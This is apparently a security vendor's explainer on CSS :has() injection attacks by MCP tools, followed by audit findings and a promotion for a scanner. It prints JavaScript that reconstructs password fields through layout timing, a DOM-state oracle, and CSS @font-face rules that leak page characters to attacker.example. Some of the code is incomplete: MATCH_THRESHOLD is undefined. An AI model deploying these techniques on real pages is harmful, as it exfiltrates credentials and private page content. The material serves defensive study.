MCP Server Security · CSS :has() · CSS Injection · Timing Side-Channel

MCP server CSS :has() selector security — forced layout timing oracle, cross-origin content detection, getComputedStyle synchronous layout side-channel, and CSS font-face unicode-range text extraction

The CSS :has() relational pseudo-class — now broadly available across all modern browsers since late 2023 — enables a class of CSS injection timing attacks that extract form field content without intercepting keyboard events. By injecting a style rule matching :has(input[value^="a"]) and measuring the time a subsequent getComputedStyle() call forces to recalculate layout, an attacker determines whether any visible input in the document currently starts with the letter "a" — then iterates through all possible characters to reconstruct the full field value. Injected into cross-origin <iframe>s (without the sandbox attribute), :has() rules detect the presence of specific content types in the embedded page. CSS @font-face unicode-range descriptors extract document text character-sets via network request side-channels that require no JavaScript at all.

Attack 1: :has() CSS injection timing oracle for form field content

The :has() selector triggers a layout recalculation whose cost is proportional to how many elements match the inner selector. When the inner selector is an attribute selector like input[value^="a"], the layout recalculation cost differs measurably between a match and a non-match state. getComputedStyle() forces a synchronous layout flush, making the timing difference observable from JavaScript:

// CSS :has() timing oracle — infers form field content character by character
// Works from any same-origin script including injected MCP tools

const CHARSET = 'abcdefghijklmnopqrstuvwxyz0123456789@.-_';
const SAMPLES = 50; // measurements per character for noise reduction

function measureLayoutTime(selectorRule) {
  // Inject the test CSS rule
  const style = document.createElement('style');
  style.textContent = selectorRule;
  document.head.appendChild(style);

  // Force synchronous layout recalculation via getComputedStyle
  // This is the key: getComputedStyle forces a layout flush, which triggers
  // the :has() selector evaluation against the current DOM state
  const t0 = performance.now();
  for (let i = 0; i < 100; i++) {
    getComputedStyle(document.documentElement).display; // force flush
  }
  const elapsed = performance.now() - t0;

  document.head.removeChild(style);
  return elapsed;
}

async function inferFieldContent(inputSelector) {
  let knownPrefix = '';

  while (knownPrefix.length < 64) { // limit to 64 chars
    let bestChar = null;
    let maxTime = 0;

    for (const char of CHARSET) {
      const testPrefix = knownPrefix + char;
      const times = [];

      for (let i = 0; i < SAMPLES; i++) {
        // :has() matches if ANY input in the document has a value starting with testPrefix
        const rule = `body:has(${inputSelector}[value^="${testPrefix}"]) { --probe: 1; }`;
        times.push(measureLayoutTime(rule));
      }

      const median = times.sort((a, b) => a - b)[Math.floor(SAMPLES / 2)];

      // A matching :has() takes longer because the CSS engine must confirm the match
      // A non-matching :has() is faster because the engine short-circuits
      if (median > maxTime) {
        maxTime = median;
        bestChar = char;
      }
    }

    // Check if the best candidate is significantly slower than average
    if (maxTime < MATCH_THRESHOLD) break; // no match found — field content ends here

    knownPrefix += bestChar;
  }

  return knownPrefix;
}

// Usage: infer password field value character by character
const value = await inferFieldContent('input[type="password"]');
// Returns the current value of the password field without reading .value directly

No input event capture required. This attack works without attaching keydown, input, or change event listeners to the target field. The CSS selector evaluation reads the DOM attribute value directly; the JavaScript only measures timing. It is effective against password managers that fill fields with values that were never typed by the user.

Attack 2: Cross-origin content detection in non-sandboxed iframes

When a parent page embeds a cross-origin <iframe> without the sandbox attribute, the iframe's document is a separate origin but shares the CSS cascade with the parent for certain properties. By injecting a <style> tag that targets the iframe's content via :has(), an attacker detects whether specific content exists in the embedded cross-origin document:

// Parent page attempting cross-origin iframe content detection
// via :has() selector combined with CSS custom property cascade

// Inject a style rule that targets the iframe content.
// NOTE: direct :has() across frame boundaries is blocked by the same-origin policy.
// However, CSS custom properties DO inherit into iframes in some configurations,
// and certain pseudo-class selectors evaluate in the document that applies them.

// The attack works for SAME-ORIGIN iframes embedded on cross-origin parent pages,
// or for CSS injection into the iframe document itself (if the parent can inject).

// Simpler same-origin variant: detect which route/view is active
function detectActiveRoute() {
  const style = document.createElement('style');
  style.textContent = `
    /* Match if the page contains an element with aria-label="admin panel" */
    body:has([aria-label="admin panel"]) { --admin-detected: 1; }
    /* Match if a payment form is present */
    body:has(form[data-type="payment"]) { --payment-active: 1; }
    /* Match if an error message is visible */
    body:has([role="alert"]:not([hidden])) { --error-visible: 1; }
  `;
  document.head.appendChild(style);

  const computed = getComputedStyle(document.documentElement);
  return {
    isAdmin: computed.getPropertyValue('--admin-detected').trim() === '1',
    inPaymentFlow: computed.getPropertyValue('--payment-active').trim() === '1',
    hasError: computed.getPropertyValue('--error-visible').trim() === '1'
  };
}

Attack 3: getComputedStyle synchronous layout as a :has() state oracle

Even without timing, :has() combined with CSS custom properties and getComputedStyle() provides a direct Boolean read of DOM state. By injecting a rule that sets a custom property on the root when a selector matches, then reading that property via getComputedStyle, the attacker gets a synchronous Boolean oracle for arbitrary DOM conditions:

// CSS :has() + custom property + getComputedStyle = synchronous DOM state oracle

function checkCondition(selector) {
  const id = `probe-${Math.random().toString(36).slice(2)}`;
  const style = document.createElement('style');

  // When the :has() matches, set a CSS variable we can read back
  style.textContent = `:root:has(${selector}) { --${id}: 1; }`;
  document.head.appendChild(style);

  // getComputedStyle forces synchronous style recalculation
  const result = getComputedStyle(document.documentElement)
    .getPropertyValue(`--${id}`)
    .trim() === '1';

  document.head.removeChild(style);
  return result;
}

// Synchronously determine DOM state without reading element attributes directly:
checkCondition('input[type="password"][value]');        // password field has content
checkCondition('[data-user-role="admin"]');             // admin elements present
checkCondition('dialog[open]');                         // a modal is currently open
checkCondition('video[autoplay]:not([paused])');        // video is playing
checkCondition('[aria-expanded="true"]');               // a dropdown/accordion is open

Attack 4: CSS font-face unicode-range text extraction

CSS @font-face rules with unicode-range descriptors load the specified font file only when a character in that range appears in the document. By defining one font face per character with a unique URL per character, an attacker's server receives a network request for each character present in the document text — extracting the character set without any JavaScript:

/* CSS injection attack: extract all characters present in the page
   by assigning a unique font URL per character.
   The browser only fetches a font URL when that character appears in rendered text. */

@font-face {
  font-family: 'extract';
  src: url('https://attacker.example/char/a');
  unicode-range: U+0061; /* 'a' */
}
@font-face {
  font-family: 'extract';
  src: url('https://attacker.example/char/b');
  unicode-range: U+0062; /* 'b' */
}
/* ... one rule per character ... */
@font-face {
  font-family: 'extract';
  src: url('https://attacker.example/char/z');
  unicode-range: U+007A; /* 'z' */
}

/* Apply to any text-rendering element */
* { font-family: 'extract', sans-serif; }

/* The browser fetches only the font URLs for characters actually present in the DOM.
   The attacker's server receives GET /char/X for each character X in the page text.
   Combined with :has() selectors to scope which text is targeted,
   this extracts the character set of hidden fields or dynamic content
   without any JavaScript execution in the attacker's context. */

CSS injection vectors in MCP tools: An MCP tool that can insert a <style> tag into the document, modify existing stylesheet rules via CSSStyleSheet.insertRule(), or inject a <link> to an attacker-controlled stylesheet can execute all four attacks above with no <script> execution at all — bypassing script-based CSP policies that don't also restrict style-src.

SkillAudit findings for CSS :has() selector

CRITICAL
:has() timing oracle with getComputedStyle layout forcing — CSS rule injection using :has(input[value^="X"]) selectors, followed by getComputedStyle() calls whose timing is measured with performance.now(). Infers form field content character-by-character — including password fields and autofilled credentials — without any event listener or direct attribute access.
HIGH
:has() + CSS custom property as synchronous DOM state oracle — Injecting rules that set custom properties when :has() selectors match, then reading those properties via getComputedStyle(). Provides a synchronous Boolean oracle for arbitrary DOM conditions — auth state, modal visibility, admin element presence — without triggering any DOM events.
HIGH
CSS font-face unicode-range text extraction@font-face rule injection with per-character unicode-range and attacker-controlled src URLs. The browser makes a network request for each character present in the page, exfiltrating the document's character set to a third-party server via CSS alone — no JavaScript required, bypasses script-only CSP policies.
MEDIUM
CSSStyleSheet.insertRule() with :has() selectors — Programmatic stylesheet manipulation inserting :has() rules targeting sensitive element states. Less visible than injecting a <style> tag (no DOM mutation) but functionally equivalent — the injected rules participate in the cascade and trigger the same layout-timing and custom-property-reading attack paths.

Defense

Related: CSS Houdini security · CSS media features fingerprinting · Content Security Policy deep dive

Scan your MCP server for CSS injection attack surface

Paste a GitHub URL. Get a graded security report in 60 seconds.

Run free audit →